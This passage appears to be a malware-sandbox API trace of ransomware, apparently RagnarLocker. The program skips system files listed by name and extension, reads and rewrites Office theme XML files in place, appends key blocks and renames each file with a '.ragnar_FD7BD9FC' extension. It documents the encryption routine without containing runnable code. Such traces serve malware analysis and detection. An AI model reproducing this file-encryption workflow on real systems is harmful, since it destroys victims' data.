(lpString1="Thatch.xml", lpString2="ntuser.dat") returned 1 [0093.701] lstrcmpiW (lpString1="Thatch.xml", lpString2="ntuser.dat.log") returned 1 [0093.701] lstrcmpiW (lpString1="Thatch.xml", lpString2="ntuser.ini") returned 1 [0093.701] lstrcmpiW (lpString1="Thatch.xml", lpString2="thumbs.db") returned -1 [0093.701] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.701] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.701] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.701] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.701] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.701] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.701] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml")) returned 0x20 [0093.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.702] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=961) returned 1 [0093.702] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.702] GetProcessHeap () returned 0x580000 [0093.702] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.702] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.747] VirtualAlloc (lpAddress=0x0, dwSize=0x3c1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.748] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.748] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.748] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c1, lpOverlapped=0x0) returned 1 [0093.748] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.748] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c1, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.748] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c1, lpOverlapped=0x0) returned 1 [0093.748] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.749] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.749] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.749] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.749] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.749] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.749] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.749] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.749] GetProcessHeap () returned 0x580000 [0093.749] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.749] CloseHandle (hObject=0x10c) returned 1 [0093.749] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" [0093.749] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.ragnar_FD7BD9FC" [0093.749] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.750] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0093.750] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.750] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Trek.xml" | out: lpString1="Trek.xml") returned="Trek.xml" [0093.750] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml") returned=".xml" [0093.750] lstrcmpiW (lpString1="Trek.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.750] lstrcmpiW (lpString1="Trek.xml", lpString2="autorun.inf") returned 1 [0093.750] lstrcmpiW (lpString1="Trek.xml", lpString2="boot.ini") returned 1 [0093.750] lstrcmpiW (lpString1="Trek.xml", lpString2="bootfont.bin") returned 1 [0093.750] lstrcmpiW (lpString1="Trek.xml", lpString2="bootsect.bak") returned 1 [0093.751] lstrcmpiW (lpString1="Trek.xml", lpString2="bootmgr") returned 1 [0093.751] lstrcmpiW (lpString1="Trek.xml", lpString2="bootmgr.efi") returned 1 [0093.751] lstrcmpiW (lpString1="Trek.xml", lpString2="bootmgfw.efi") returned 1 [0093.751] lstrcmpiW (lpString1="Trek.xml", lpString2="desktop.ini") returned 1 [0093.751] lstrcmpiW (lpString1="Trek.xml", lpString2="iconcache.db") returned 1 [0093.751] lstrcmpiW (lpString1="Trek.xml", lpString2="ntldr") returned 1 [0093.751] lstrcmpiW (lpString1="Trek.xml", lpString2="ntuser.dat") returned 1 [0093.751] lstrcmpiW (lpString1="Trek.xml", lpString2="ntuser.dat.log") returned 1 [0093.751] lstrcmpiW (lpString1="Trek.xml", lpString2="ntuser.ini") returned 1 [0093.751] lstrcmpiW (lpString1="Trek.xml", lpString2="thumbs.db") returned 1 [0093.751] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.751] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.751] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.751] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.751] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.751] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.751] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml")) returned 0x20 [0093.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.752] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=959) returned 1 [0093.752] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.752] GetProcessHeap () returned 0x580000 [0093.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.752] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.753] VirtualAlloc (lpAddress=0x0, dwSize=0x3bf, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.753] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.753] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.753] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3bf, lpOverlapped=0x0) returned 1 [0093.754] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.754] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3bf, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.754] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3bf, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3bf, lpOverlapped=0x0) returned 1 [0093.754] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3bf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.754] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.754] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.754] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.754] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.754] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.754] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.754] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.754] GetProcessHeap () returned 0x580000 [0093.754] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.754] CloseHandle (hObject=0x10c) returned 1 [0093.754] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" [0093.755] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.ragnar_FD7BD9FC" [0093.755] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.755] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0093.755] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.755] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Urban.xml" | out: lpString1="Urban.xml") returned="Urban.xml" [0093.755] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml") returned=".xml" [0093.755] lstrcmpiW (lpString1="Urban.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.755] lstrcmpiW (lpString1="Urban.xml", lpString2="autorun.inf") returned 1 [0093.755] lstrcmpiW (lpString1="Urban.xml", lpString2="boot.ini") returned 1 [0093.755] lstrcmpiW (lpString1="Urban.xml", lpString2="bootfont.bin") returned 1 [0093.756] lstrcmpiW (lpString1="Urban.xml", lpString2="bootsect.bak") returned 1 [0093.756] lstrcmpiW (lpString1="Urban.xml", lpString2="bootmgr") returned 1 [0093.756] lstrcmpiW (lpString1="Urban.xml", lpString2="bootmgr.efi") returned 1 [0093.756] lstrcmpiW (lpString1="Urban.xml", lpString2="bootmgfw.efi") returned 1 [0093.756] lstrcmpiW (lpString1="Urban.xml", lpString2="desktop.ini") returned 1 [0093.756] lstrcmpiW (lpString1="Urban.xml", lpString2="iconcache.db") returned 1 [0093.756] lstrcmpiW (lpString1="Urban.xml", lpString2="ntldr") returned 1 [0093.756] lstrcmpiW (lpString1="Urban.xml", lpString2="ntuser.dat") returned 1 [0093.756] lstrcmpiW (lpString1="Urban.xml", lpString2="ntuser.dat.log") returned 1 [0093.756] lstrcmpiW (lpString1="Urban.xml", lpString2="ntuser.ini") returned 1 [0093.756] lstrcmpiW (lpString1="Urban.xml", lpString2="thumbs.db") returned 1 [0093.756] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.756] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.756] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.756] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.756] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.756] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.756] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml")) returned 0x20 [0093.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.757] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=960) returned 1 [0093.757] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.757] GetProcessHeap () returned 0x580000 [0093.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.757] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.758] VirtualAlloc (lpAddress=0x0, dwSize=0x3c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.758] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.758] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.758] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c0, lpOverlapped=0x0) returned 1 [0093.759] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.759] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.759] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c0, lpOverlapped=0x0) returned 1 [0093.759] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.759] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.759] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.759] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.759] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.759] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.759] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.759] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.759] GetProcessHeap () returned 0x580000 [0093.759] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.759] CloseHandle (hObject=0x10c) returned 1 [0093.759] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" [0093.760] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.ragnar_FD7BD9FC" [0093.760] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.760] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0093.760] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.760] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Verve.xml" | out: lpString1="Verve.xml") returned="Verve.xml" [0093.760] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml") returned=".xml" [0093.760] lstrcmpiW (lpString1="Verve.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.760] lstrcmpiW (lpString1="Verve.xml", lpString2="autorun.inf") returned 1 [0093.760] lstrcmpiW (lpString1="Verve.xml", lpString2="boot.ini") returned 1 [0093.760] lstrcmpiW (lpString1="Verve.xml", lpString2="bootfont.bin") returned 1 [0093.760] lstrcmpiW (lpString1="Verve.xml", lpString2="bootsect.bak") returned 1 [0093.761] lstrcmpiW (lpString1="Verve.xml", lpString2="bootmgr") returned 1 [0093.761] lstrcmpiW (lpString1="Verve.xml", lpString2="bootmgr.efi") returned 1 [0093.761] lstrcmpiW (lpString1="Verve.xml", lpString2="bootmgfw.efi") returned 1 [0093.761] lstrcmpiW (lpString1="Verve.xml", lpString2="desktop.ini") returned 1 [0093.761] lstrcmpiW (lpString1="Verve.xml", lpString2="iconcache.db") returned 1 [0093.761] lstrcmpiW (lpString1="Verve.xml", lpString2="ntldr") returned 1 [0093.761] lstrcmpiW (lpString1="Verve.xml", lpString2="ntuser.dat") returned 1 [0093.761] lstrcmpiW (lpString1="Verve.xml", lpString2="ntuser.dat.log") returned 1 [0093.761] lstrcmpiW (lpString1="Verve.xml", lpString2="ntuser.ini") returned 1 [0093.761] lstrcmpiW (lpString1="Verve.xml", lpString2="thumbs.db") returned 1 [0093.761] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.761] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.761] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.761] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.761] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.761] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.761] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml")) returned 0x20 [0093.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, 